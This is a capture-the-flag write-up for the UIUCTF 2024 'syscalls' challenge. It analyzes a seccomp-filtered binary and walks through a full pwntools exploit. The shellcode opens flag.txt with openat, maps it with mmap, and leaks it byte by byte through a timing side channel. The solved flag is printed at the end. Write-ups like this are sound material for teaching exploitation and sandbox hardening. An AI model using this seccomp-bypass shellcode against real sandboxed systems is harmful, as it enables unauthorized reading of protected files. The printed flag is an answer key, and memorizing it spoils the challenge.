Syscalls
Written on: 01-Jul-2024
- Solves: 143
 - Score: 398
 - Technique: 
Seccomp BypassSide Channel 
You can't escape this fortress of security.
Approach
Check protections
Command:
$ checksec --file=syscalls
Output:
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments
Disassemble binary
main function's pseudocode:
unsigned __int64 __fastcall sub_11C8()
{
  __int64 v0; // rbp
  char v2[184]; // [rsp-C8h] [rbp-D0h] BYREF
  unsigned __int64 v3; // [rsp-10h] [rbp-18h]
  __int64 v4; // [rsp-8h] [rbp-10h]
  v4 = v0;
  v3 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  sub_1280(v2);
  sub_12DB();
  sub_12BA((__int64 (*)(void))v2);
  return v3 - __readfsqword(0x28u);
}
From the main function, we see that it calls three separate functions, sub_1280(), sub_12DB() & sub_12BA().
sub_1280() function's pseudocode:
char *__fastcall sub_1280(char *a1)
{
  puts(
    "The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.");
  return fgets(a1, 176, stdin);
}
We see that the function reads in user's input into a pass-by-reference variable.
sub_12DB() function's pseudocode:
__int64 sub_12DB()
{
  __int16 v1; // [rsp+10h] [rbp-E0h] BYREF
  __int64 *v2; // [rsp+18h] [rbp-D8h]
  __int64 v3[26]; // [rsp+20h] [rbp-D0h] BYREF
  v3[25] = __readfsqword(0x28u);
  v3[0] = 0x400000020LL;
  v3[1] = 0xC000003E16000015LL;
  v3[2] = 32LL;
  v3[3] = 0x4000000001000035LL;
  v3[4] = -3976200171LL;
  v3[5] = 1179669LL;
  v3[6] = 0x100110015LL;
  v3[7] = 0x200100015LL;
  v3[8] = 0x11000F0015LL;
  v3[9] = 0x13000E0015LL;
  v3[10] = 0x28000D0015LL;
  v3[11] = 0x39000C0015LL;
  v3[12] = 0x3B000B0015LL;
  v3[13] = 0x113000A0015LL;
  v3[14] = 0x12700090015LL;
  v3[15] = 0x12800080015LL;
  v3[16] = 0x14200070015LL;
  v3[17] = 0x1405000015LL;
  v3[18] = 0x1400000020LL;
  v3[19] = 196645LL;
  v3[20] = 50331669LL;
  v3[21] = 0x1000000020LL;
  v3[22] = 0x3E801000025LL;
  v3[23] = 0x7FFF000000000006LL;
  v3[24] = 6LL;
  v1 = 25;
  v2 = v3;
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  return (unsigned int)prctl(22, 2LL, &v1);
}
In this function, prctl() is invoked.
prctl(): manipulates various aspects of the behavior of the calling thread or process.
According to prctl() function's header file, PR_SET_SECCOMP is defined as 22. And in the code snippet, prctl(22, 2LL, &v1) is invoked, activating some seccomp rules.
Using seccomp-tools tool, we can dump out the rules that was configured for this binary.
Command:
$ seccomp-tools dump ./syscalls
Output:
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x13 0xffffffff  if (A != 0xffffffff) goto 0024
 0005: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0024
 0006: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0024
 0007: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0024
 0008: 0x15 0x0f 0x00 0x00000011  if (A == pread64) goto 0024
 0009: 0x15 0x0e 0x00 0x00000013  if (A == readv) goto 0024
 0010: 0x15 0x0d 0x00 0x00000028  if (A == sendfile) goto 0024
 0011: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0024
 0012: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0024
 0013: 0x15 0x0a 0x00 0x00000113  if (A == splice) goto 0024
 0014: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0024
 0015: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0024
 0016: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0024
 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL
sub_1280() function's pseudocode:
__int64 __fastcall sub_12BA(__int64 (*a1)(void))
{
  return a1();
}
It seems that after retrieving's the user input, the binary will execute it by calling it. And given that NX (Non-Executable Stack) was disabled in the protections, it seems to me that this is a shellcode challenge!
Exploitation
From the seccomp configured rules, most of the useful syscalls were disallowed (i.e. execve to spawn shell).
However, I noticed that the openat syscall was not disallowed, which could allow us to open the flag.txt file using its absolute path. And we could get the absolute file path from the Dockerfile provided.
from pwn import *
elf = context.binary = ELF('./syscalls')
r = gdb.debug('./syscalls')
shellcode = asm(shellcraft.linux.openat(-1, "/home/kali/Desktop/uiuctf2024/pwn/syscalls/flag.txt"))
r.sendline(shellcode)
Inspecting the shellcode in gdb, it was successful in opening the flag.txt file, as $rax register contains the value 0x3, which is the file descriptor for the opened file.

So what if we could open the file, we still need a way to read it...
Upon further research, I came across some resouces online which uses the mmap syscall to store contents from a file descriptor to a memory location. So I attempted to do just that.
from pwn import *
elf = context.binary = ELF('./syscalls')
r = gdb.debug('./syscalls')
mmap_ = '''
mov rdi, rsp
mov rsi, 0x20
mov rdx, 1 | 2 | 4
mov r10, 0x2
mov r8, rax
xor r9, r9
mov rax, 9
syscall
'''
shellcode = asm(shellcraft.linux.openat(-1, "/home/kali/Desktop/uiuctf2024/pwn/syscalls/flag.txt"))
shellcode += asm(mmap_)
r.sendline(shellcode)
Likewise, inspecting the shellcode in gdb, it was successful in mapping a location in the memory, as $rax register contains the address of the allocated memory, which is storing the contents of the flag.txt file.

Up to this point, we are able to open the file and store its contents to a memory location. However, we still need a way to retrieve the flag from its stored location.
I noticed that the pwrite64 syscall was not banned by seccomp rules. And so I tried to use the pwrite64 syscall to write the stored contents to stdout.
from pwn import *
elf = context.binary = ELF('./syscalls')
r = gdb.debug('./syscalls')
mmap_ = '''
mov rdi, rsp
mov rsi, 0x20
mov rdx, 1 | 2 | 4
mov r10, 0x2
mov r8, rax
xor r9, r9
mov rax, 9
syscall
'''
shellcode = asm(shellcraft.linux.openat(-1, "/home/kali/Desktop/uiuctf2024/pwn/syscalls/flag.txt"))
shellcode += asm(mmap_)
shellcode += asm(shellcraft.linux.pwrite(2, "rax", 0x10, 0))
r.sendline(shellcode)
However, I was unsuccessful in doing so, as pwrite64 syscall returned with an error number stored in the $rax register. Converting the hexadecimal value in $rax, yields -29.

Looking up this error number with errno -l, -29 references the error ESPIPE.
Futher reading up on this error, indicated to me that the pwrite64 syscall was performing an invalid seek operation on a pipe. Basically, the pwrite64 syscall performs a seek on the file descriptor. And it happens so that stdout is a file descriptor which does not support seeking as it is usually referring to a pipe (which does not support random access).
Writing the flag.txt file content using pwrite64 is out...
And it does not seem to me that there's any other syscalls that supports writing or printing of memory contents.
While combing through google, I found an article which suggested that, if there isn't a way to write the contents to stdout due to seccomp bans, we could try using this side-channel attack. This side-channel attack involves brute-forcing the flag characters one by one.

And so, I did just that and got the flag ~ :D
The shellcode I used for the side-channel attack:
mov rdi, 1
mov al, [rax+{LEN_FLAG_ENUMERATED}]
cmp al, {CHAR_TO_COMPARE}
je INFI_LOOP
mov rax, 0x3c
xor rdi, rdi
syscall
INFI_LOOP:
    jmp INFI_LOOP
Basically the shellcode does the following:
- Load flag character from mmap location
 - Compare with our character input
 - If it matches jump to the infinite loop
 - Else, exit the program
 
In the python script, we loop through all the printable ascii character to be used as input to brute force the flag.
flag = ""
while not flag.endswith("}"):
    for i in range(33, 127): # ascii printable range
        if leak_flag(i, flag):
            flag += chr(i)
            print(flag)
            break
If the time taken for the connection to close exceeds 5 seconds (usually connection closes almost immediately for incorrect character), it indicates that we have obtained the right character.
while True:
    try:
        print(r.recvline(timeout=5))
        # if connection takes more than 5 seconds to terminate, means infinite loop is reached and
        # we got the correct char!
        if time.time() - start_time > 5: 
            return True
    except:
        return False
After an eternity, I finally retrieved the flag ~
Script
from pwn import *
elf = context.binary = ELF('./syscalls')
def leak_flag(curr_char, flag):
    r = remote('syscalls.chal.uiuc.tf', 1337, ssl=True)
    # r = elf.process(level='error')
    # r = gdb.debug('./syscalls')
    r.recvline()
    mmap_ = '''
    mov rdi, rsp
    mov rsi, 0x20
    mov rdx, 1 | 2 | 4
    mov r10, 0x2
    mov r8, rax
    xor r9, r9
    mov rax, 9
    syscall
    '''
    checker = f'''
    mov rdi, 1
    mov al, [rax+{len(flag)}]
    cmp al, {hex(curr_char)}
    je INFI_LOOP
    mov rax, 0x3c
    xor rdi, rdi
    syscall
    INFI_LOOP:
    jmp INFI_LOOP
    '''
    shellcode = asm(shellcraft.linux.openat(-1, "/home/user/flag.txt"))
    shellcode += asm(mmap_)
    shellcode += asm(checker)
    r.sendline(shellcode)
    start_time = time.time()  # Record the start time of the connection
    
    while True:
        try:
            print(r.recvline(timeout=5))
            # if connection takes more than 5 seconds to terminate, means infinite loop is reached and
            # we got the correct char!
            if time.time() - start_time > 5: 
                return True
        except:
            return False
if __name__ == "__main__":
    flag = ""
    while not flag.endswith("}"):
        for i in range(33, 127): # ascii printable range
            if leak_flag(i, flag):
                flag += chr(i)
                print(flag)
                break
    print(flag)
Flag
uiuctf{a532aaf9aaed1fa5906de364a1162e0833c57a0246ab9ffc}